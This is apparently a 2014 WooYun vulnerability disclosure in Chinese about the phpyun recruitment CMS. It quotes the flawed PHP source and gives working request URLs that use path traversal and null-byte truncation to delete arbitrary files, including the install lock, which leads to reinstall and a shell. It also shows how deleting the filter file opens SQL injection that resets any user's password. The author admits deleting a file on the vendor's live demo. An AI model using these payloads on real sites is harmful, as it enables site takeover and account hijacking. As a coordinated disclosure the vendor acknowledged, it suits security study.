当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088418

漏洞标题:phpyun (20141230) 任意文件删除致注入可改任意用户密码(4处打包)

相关厂商:php云人才系统

漏洞作者: ′雨。

提交时间:2014-12-30 12:41

修复时间:2015-03-30 12:42

公开时间:2015-03-30 12:42

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-30: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-02: 细节向第三方安全合作伙伴开放
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-03-30: 细节向公众公开

简要描述:

更新了 来看看。
果然是功能越多 bug越多 bug越多 rank越多。
这个不小心测试了下 demo, 把demo的robots.txt 和 图标都删除了。
你们自己再加上去下把。
phpyun基本都是靠过滤文件。 如果删除过滤文件 肯定是有注入了。
而且删除过滤文件不会像删除install的lock一样对网站造成啥损害。

详细说明:

http://www.phpyun.com/bbs/thread-8149-1-1.html //20141222
http://www.phpyun.com/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar
最新版本的phpyun下载地址
在friend/model/index.class.php中

function save_avatar_action()
{
@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
$type = isset($_GET['type'])?trim($_GET['type']):'small';//没限制
$pic_id = trim($_GET['photoId']);
$nameArr=@explode(".",$pic_id);
$uptypes=array('jpg','png','jpeg','bmp','gif');
if(count($nameArr)!=2) //这里限制了只能含有一个小数点
{
exit();
}
if(!is_numeric($nameArr[0])) //限制文件的名字必须为数字。
{
exit();
}
if(!in_array(strtolower($nameArr[1]),$uptypes)) //限制文件类型只能为图片的各种类型
{
$d['statusText'] = iconv("gbk","utf-8",'文件类型不符!');
$msg = json_encode($d);
echo $msg;die;
}
$new_avatar_path = 'upload/friend/friend_'.$type.'/'.$pic_id;
$len = file_put_contents(APP_PATH.$new_avatar_path,file_get_contents("php://input"));
//这里不能getshell 因为phpyun全局有转义 没办法截断。 所以也只能写图片。
$avtar_img = imagecreatefromjpeg(APP_PATH.$new_avatar_path);
imagejpeg($avtar_img,APP_PATH.$new_avatar_path,80);
$d['data']['urls'][0] ="../".$new_avatar_path;
$d['status'] = 1;
$d['statusText'] = iconv("gbk","utf-8",'上传成功!');
$row = $this->obj->DB_select_once("friend_info","`uid`='".$this->uid."'");//查询出来自己的资料
if($type=="small")
{
$this->obj->unlink_pic($row['pic']);
$this->obj->update_once("friend_info",array("pic"=>"../".$new_avatar_path),array("uid"=>$this->uid));
$state_content = "我刚更换了新头像。<br><img src=\"".$this->config['sy_weburl']."/".$new_avatar_path."\">";
$this->addstate($state_content);
$this->obj->member_log("更换了新头像");
}else{

$this->obj->unlink_pic($row['pic_big']);//删除图片
$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid));//这里把自己的图片入库
}
$msg = json_encode($d);
echo $msg;
}


因为全局有转义, 所以$new_avatar_path没办法截断
$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid)) 但是这里有一个入库。
入库了 然后再把 $this->obj->unlink_pic($row['pic_big']);//删除图片
出库出来的删掉。 所以我们可以再次截断了。 所以这个截断也无视GPC啥的。
用phpyun的demo hr135.com测试 首先注册一个会员 然后请求
www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00

p3.jpg


这样先转义入库了。 然后就按照这样再请求一次。
www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00
再请求一次 出库, 然后就又能截断 成功删除了robots.txt
测试的时候把demo的robots.txt删掉了 http://www.hr135.com/robots.txt 已经404了。
你们自己添加上去一下把。
进一步的利用的话 我们可以先删除lock 然后重装进行getshell
/friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../data/phpyun.lock%00
这个需要请求两次。

p1.jpg


p2.jpg


成功GETSHELL。
____________________________________________________________________
第二处在 member/com/model/show.class.php中

function del_action(){
if($_GET['id']){
$row=$this->obj->DB_select_once("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'","`picurl`");//出库
if(is_array($row))
{
$this->obj->unlink_pic(".".$row['picurl']);//这里把出库的删除掉 来看看哪里入库
$oid=$this->obj->DB_delete_all("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");
}
if($oid)
{
$this->obj->member_log("删除企业环境展示");
$this->layer_msg('删除成功!',9);
}else{
$this->layer_msg('删除失败!',8);
}
}


function upshow_action(){
if($_POST['submitbtn']){
$time=time();
unset($_POST['submitbtn']);
if(!empty($_FILES['uplocadpic']['tmp_name']))
{
$upload=$this->upload_pic("../upload/show/",false);
$uplocadpic=$upload->picture($_FILES['uplocadpic']);
$this->picmsg($uplocadpic,$_SERVER['HTTP_REFERER']);
$uplocadpic = str_replace("../upload/show","./upload/show",$uplocadpic);
$row=$this->obj->DB_select_once("company_show","`uid`='".(int)$_POST['uid']."' and `id`='".intval($_POST['id'])."'","`picurl`");
if(is_array($row))
{
$this->obj->unlink_pic(".".$row['picurl']);
}
}else{
$uplocadpic=$_POST['picurl'];//当没定义_FILES的时候竟然直接接受_POST来的。。 那么直接用户可控了。
}
$nid=$this->obj->DB_update_all("company_show","`picurl`='".$uplocadpic."',`title`='".$_POST['title']."',`sort`='".$_POST['showsort']."',`ctime`='".$time."'","`uid`='".$this->uid."'and `id`='".$_POST['id']."'");//入库入库
if($nid)


因为这里是update 所以要先入库一个
在model/user.php中

function saveshow_action()
{
if (!empty($_FILES))
{
$pic=$name='';
$data=array();
$tempFile = $_FILES['Filedata'];
$upload=$this->upload_pic("./upload/show/");
$pic=$upload->picture($tempFile);
$name=@explode('.',$_FILES['Filedata']['name']);
$picurl=str_replace("../upload/show","./upload/show",$pic); //可以看到这里是不可控的
$data['picurl']= $picurl;
$data['title']=$this->stringfilter($name[0]);
$data['ctime']=time();
$data['uid']=(int)$_POST['uid'];
$data['eid']=(int)$_GET['eid'];
$id=$this->obj->insert_into("resume_show",$data);
if($id){
echo $name[0]."||".$picurl."||".$id;die;
}else{
echo "2";die;
}
}
}
}


p18.jpg


文件名不可控 再回来update里来
这里因为unlink_pic 限制了必须为jpg后缀之类的 这里我们截断一下

p19.jpg


p20.jpg


成功删除根目录的文件。
_____________________________________________________________________
第三处
member/user/model/show.class.php //跟上面一个相同的原理 不过是因为一个是企业会员操作的 一个是个人会员操作的、 这里代码我都不贴了 你们自己查把。
第四处
member/user/model/resume.class.php

function del_action(){
$del=(int)$_GET['id'];
$show=$this->obj->DB_select_all("resume_show","`eid`='".$del."' and `picurl`<>''","`picurl`");
if(is_array($show))
{
foreach($show as $v)
{
@unlink(".".$show['picurl']);
}
}


入库也在/member/user/model/show.class.php
function upshow_action(){ 也是因为用户可控了。
___________________________________________________________________________
这里来搞一下注入
首先我们用上面的方法删除data/db.safety.php 这个参照上面的方法 就不多说了。
首先删除data/db.safety.php 后 就不会转义了 那么我们就能引入单引号了。
再找一个不会对查询转义的函数就行了。
在model/forgetpw.class.php中

function editpw_action()
{
if($_POST['username'] && $_POST['code'] && $_POST['pass'])
{
$password = $_POST['pass'];

$cert = $this->obj->DB_select_once("company_cert","`type`='5' AND `check2`='".$_POST['username']."' AND `check`='".$_POST['code']."' order by id desc","`uid`,`check2`,`ctime`");//这里直接把$_POST的带入了查询 因为删除了过滤文件 所以不转义

if(!$cert['uid'])
{
$this->obj->ACT_layer_msg('验证码填写错误!',8,$this->url("index","forgetpw","1"));
}elseif((time()-$cert['ctime'])>1200){
$this->obj->ACT_layer_msg('验证码已失效,请重新获取!',8,$this->url("index","forgetpw","1"));
}

$info = $this->obj->DB_select_once("member","`uid`='".$cert['uid']."'","`email`");
if(is_array($info))
{
$info['username'] = $cert['check2'];
if($this->config[sy_uc_type]=="uc_center" && $info['name_repeat']!="1")
{
$this->obj->uc_open();
uc_user_edit($info[username], "", $password, $info['email'],"0");
}else{
$salt = substr(uniqid(rand()), -6);
$pass2 = md5(md5($password).$salt);
$value="`password`='$pass2',`salt`='$salt'";
$this->obj->DB_update_all("member",$value,"`uid`='".$cert['uid']."'");
}
$this->obj->ACT_layer_msg('密码修改成功!',9,$this->url("index","login","1"));
}else{


在满足这些条件后 甚至可以改任意用户的密码

13.jpg

漏洞证明:

p2.jpg

修复方案:

漏洞的源头还是任意文件删除 怎么能让用户直接控制呢。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-12-30 13:41

厂商回复:

感谢提供!

最新状态:

暂无